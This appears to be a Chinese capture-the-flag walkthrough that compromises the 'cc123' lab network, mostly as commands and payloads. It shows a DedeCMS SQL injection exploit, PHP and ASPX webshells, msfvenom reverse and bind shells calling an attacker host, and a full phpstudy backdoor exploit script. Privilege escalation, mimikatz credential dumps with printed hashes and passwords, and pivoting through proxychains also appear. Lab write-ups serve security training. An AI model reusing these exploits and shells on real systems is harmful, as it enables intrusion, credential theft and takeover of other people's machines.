cc123靶场拓扑图
共包含4个flag
(因个人实验环境的特殊情况,使用了两台kali攻击机,IP分别为192.168.137.22与192.168.137.185)
1.信息收集
1.0 创建文件夹
1.1 主机发现
1 | sudo net discover -i eth0 -r 192.168.134.0/24 |
1.2 端口扫描
1 | sudo masscan -p 1-65535 192.168.137.134 --rate=1000 |
1.3 端口信息探测
1 | sudo nmap -sC -A 192.168.137.134 -p53,80,135,999,3389,6588,49154,49155 -oA cc123-port |
1.4 网站信息
1.5 绑定本地hosts/网关设置
1 | windows: |
1.6 子域名穷举
1 | wfuzz -w /usr/share/amass/wordlists/subdomains-top1mil-5000.txt -u cc123.com -H "Host:FUZZ.cc123.com" --hw 53 |
KesionEDU | www.cc123.com |
---|---|
dedecms | new.cc123.com |
Net | ww2.cc123.com |
2.漏洞测试
2.1 dedecms安全测试
查看版本号
1 | http://new.cc123.com/data/admin/ver.txt |
版本为20150618 该版本存在注入漏洞
查看管理后台是否开启
1 | http://new.cc123.com/dede |
管理后台开启,尝试默认密码,错误失败
查看会员注册是否开启
/member – 发现开放会员注册 – 注册用户 – byesec – 登录
注入漏洞利用
新建分类
复制cookie
配置exp
放入exp目录下的cookie.txt文件内并修改exp
执行exp
1 | python Dedecms_20150618_member_sqli.py http://new.cc123.com |
得到加密的密码 812df726be884ddcfc41
最终的到admin的密码为admin7788
进入后台管理系统登陆
1 | http://new.cc123.com/dede |
登陆成功
上传一句话木马
写入木马上传
使用蚁剑连接
提权
在蚁剑内翻阅目录发现权限不足
发现在目录下是NET环境,尝试上传.NET文件看能否解析执行
上传webshell到根部录下的/a内
访问ASPXSpy2014.aspx
1 | http://new.cc123.com/a/ASPXSpy2014.aspx |
输入密码admin
尝试是否可以执行命令
结果显示可以执行命令
下一步的思路是:能否在msf内生成payload执行以达到提权的目的
msf生成payload
1 | msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.137.22 lport=12345 -f exe >s.exe |
上传生成的s.exe,发现可能是写权限不足
上传使用wt.asp脚本来扫描可写目录
1 | 访问http://new.cc123.com/a/wt.asp |
尝试向c:\windows\debug\WIA\目录内上传s.exe
上传成功后配置msf
1 | msfconsole |
执行s.exe
成功反弹shell
1 | ipconfig |
1 | getuid |
1 | background |
1 | use post/multi/recon/local_exploit_suggester |
⚠️:kali的msf内没有可用的exp
⚠️:经过询问得知是新版本的kali内的msf对本项目,在提权的时候存在一些不可知的问题,故采用老版本的kali2020.1进行尝试
重新生成c.exe-执行反弹shell-搜索可用的本地提权
1 | use exploit/windows/local/ms16_075_reflection_juicy |
1 | getuid |
成功提权至系统权限
查看flag
2.2 ww2.cc123.com安全测试
复制响应头
分析响应头
仍然为ASP.NET 版本4.0
目录扫描
gobuster连接超时
1 | gobuster dir -u http://ww2.cc123.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x 'aspx,html' -o ~/cc123/cc123-ww2-dir.log |
dirsearch连接超时
1 | dirsearch -u http://ww2.cc123.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e aspx,html -o cc123-ww2.log |
可能是因为配置原因..在kali内这两个工具都无法连接
救急采用了御剑
1 | 访问http://ww2.cc123.com/admin |
尝试了默认密码/弱口令等无果
使用burpsuite对该页面进行抓包分析
右键–Request in browser–in original session–copy–浏览器访问
重复提交包,并未对验证码进行校验(可能存在验证码重复利用漏洞),可直接发送至Intruder模块对其进行密码的爆破
后台登陆页-SQL注入漏洞
在Repeater内检测
修改用户名为admin’ 但结果并没有报错
修改用户名为admin’–+ 尝试注释后面的语句 页面发生了重定向
猜测其查询语句大致为:
1 | select * from users where username='admin' and password='123456' |
添加注释后则为
1 | select * from users where username='admin'-- ' and password='123456' |
在浏览器内尝试提交用户名admin’–空格 密码任意
利用该漏洞成功以管理员身份登陆进入了后台管理系统
后台内-SQLMAP测试SQL注入
将抓取到的页面包放入SQLMAP中进行测试(bp.txt)
测试是否存在注入
1 | sqlmap -r bp.txt --dbms mssql -v 1 --batch |
列库
1 | sqlmap -r bp.txt --dbms mssql -v 1 --dbs |
查询数据无法直接看到
1 | sqlmap -r bp.txt --dbms mssql -v 1 -D grams_data -T username --dump |
获取mssql的shell
1 | sqlmap -r bp.txt --dbms mssql -v 1 --os-shell |
主机名为WIN-JJU7KU45PN7。根据以上信息猜测为站库分离。
.NET代码审计
1 | cd c:\HwsHostMaster\wwwroot\ww2cc123_55m39g\web\bin |
下载
1 | download c:\HwsHostMaster\wwwroot\ww2cc123_55m39g\web\bin |
拷贝至本地IlSpy反编译dll进行审计
验证码重复使用漏洞
漏洞验证
后台管理登陆SQL注入漏洞
漏洞验证
后台文件SQL注入漏洞
漏洞验证
后台编辑器KindEditor漏洞
抓包修改验证
访问ww2.cc123.com/editor/asp.net/../attached/file/20220114/20220114101159_6235.html
成功弹回cookie
前台XSS漏洞
查看前台文件
访问该文件
构造payload
1 | http://ww2.cc123.com/mystat.aspx?style=</script><script>alert(/xss/);</script><script> |
后台用户名密码秘文解密
之前得到利用SQL MAP得到的用户名和密码都是无法直接获取的
利用工具
查询配置文件中的数据库连接信息
1 | cat web.config |
将其放入工具中 Go连接
查询admin表内的数据
1 | select * from admin |
得到用户名密码信息
id | username | password | roleId |
---|---|---|---|
28 | admin | AE5F6187F32825CA | 1 |
30 | cc123 | B97C57DB005F954242450A255217DA9F | 1 |
在MD5在线平台进行解密发现失败
寻找加密方法
解密方法
编写解密小工具
填写key进行解密
id | username | password | roleId |
---|---|---|---|
28 | admin | cc123 | 1 |
30 | cc123 | qweasd123 | 1 |
3.内网渗透
3.1web服务器
网段梳理
1 | ipconfig |
192.168.137.134
10.10.10.135
获取路由信息
1 | run get_local_subnets |
查看权限
1 | getuid |
迁移进程
1 | ps |
1 | migrate 1580 |
获取哈希密码明文
1 | run hashdump |
Administrator:500:aad3b435b51404eeaad3b435b51404ee:1c933df09b600efabee0791aaccc43f2:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
MySQL_HWS:1001:aad3b435b51404eeaad3b435b51404ee:6a75a75e4cfd3cf00faf743e17e90a53:::
PhpMyAdmin_HWS:1002:aad3b435b51404eeaad3b435b51404ee:a14b615c584d6b043f42f1cfab9779cd:::
huweishen542147:1004:aad3b435b51404eeaad3b435b51404ee:c76eea2615348c5228f7027d3ccab02d:::
cc123:1005:aad3b435b51404eeaad3b435b51404ee:afdeb425b4a55982deb4e80fa3387576:::
newcc123:1007:aad3b435b51404eeaad3b435b51404ee:97824315153b4dd665d6c688f446ebf1:::
ww2cc123:1008:aad3b435b51404eeaad3b435b51404ee:adadf2dd832421c26a96705fd09a32bd:::
1 | load mimikatz |
1 | mimikatz_command -f samdump::hashes |
1 | mimikatz_command -f sekurlsa::searchPasswords |
1 | wdigest/tspkg |
管理员的账号和密码:Administrator !@#Qwe123.
3.2数据库服务器
添加路由
1 | run autoroute -s 10.10.10.0/24 |
1 | run autoroute -p |
1 | background |
1 | use auxiliary/server/sock4a |
1 | show options |
1 | set SRVPORT 2222 |
配置proxychains
kali攻击机:
1 | sudo vim /etc/proxychains.conf |
绑定本机
1 | socks4 127.0.0.1 2222 |
NMAP扫描
1 | proxychains nmap -sT -Pn 10.10.10.136 |
扫描速度比较慢 在扫描过程中发现80端口开放
测试是否可以访问
1 | proxychains firefox http://10.10.10.136 |
访问结果为不可访问
数据库服务器信息整理
1 | os-shell>netstat -ano |
1 | os-shell>ipconfig |
生成正向连接的攻击载荷
1 | msfvenom -p windows/meterpreter/bind_tcp LPORT=13777 -f exe > bind.exe |
上传载荷
执行载荷
连接获取session
1 | use exploit/multi/handler |
网段梳理
1 | ipconfig |
10.10.10.136
10.10.1.128
获取路由信息
1 | run get_local_subnets |
查看权限
迁移进程
1 | ps |
1 | migrate 1532 |
获取哈希密码明文
1 | run hashdump |
Administrator:500:aad3b435b51404eeaad3b435b51404ee:15132c3d36a7e5d7905e02b478979046::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
1 | load mimikatz |
1 | mimikatz_command -f sekurlsa::searchPasswords |
1 | wdigest/tspkg |
管理员的账号和密码:Administrator !@#QWEasd123.
3.3目标服务器
添加路由
1 | run autoroute -s 10.10.1.0/24 |
NMAP扫描
1 | proxychains nmap -sT -Pn 10.10.1.129 |
扫描速度比较慢 ,在扫描过程中发现80端口开放,测试是否可以访问
1 | proxychains3 firefox http://10.10.1.129 |
发现是phpstudy PHP版本为5.4.45
搜索phpstudy后门事件
参考链接:
编写phpstudy后门exp
1 | vim phpstudy.py |
#conding:utf-8
import requests import sys import base64
shell = “system(‘“+sys.argv[1]+”‘);” shell_base64 = base64.b64encode(shell.encode(‘utf-8’))
header={‘Accept-charset’:shell_base64,’Accept-Encoding’:’gzip,deflate’}
def exploit(url): html = requests.get(url=url,headers=header).text return html
url = “http://10.10.1.129/" print(exploit(url))
写入一句话木马
1 | proxychains3 python3 phpstudy.py "echo ^<?php @eval(\$_POST[\"shell\"])?^>>c:\phpstudy\WWW\shell.php" |
访问后门shell.php
使用SocksCap64设置本机代理
kali内配置proxychains
确认kali的IP
1 | sudo vim /etc/proxychains.conf |
本机内添加代理
测试代理是否正常
代理蚁剑
正向连接
上传bind.exe
执行bind.exe
生成正向连接的攻击载荷
1 | background |
迁移进程
1 | ps |
1 | migrate 1340 |
1 | shell |
获取4个flag
1 | background |
flag1
1 | sessions -i 3 |
web服务器内
flag2
web服务器内
flag3
数据库服务器内
1 | sessions -i 4 |
flag4
目标服务器内
1 | sessions -i 8 |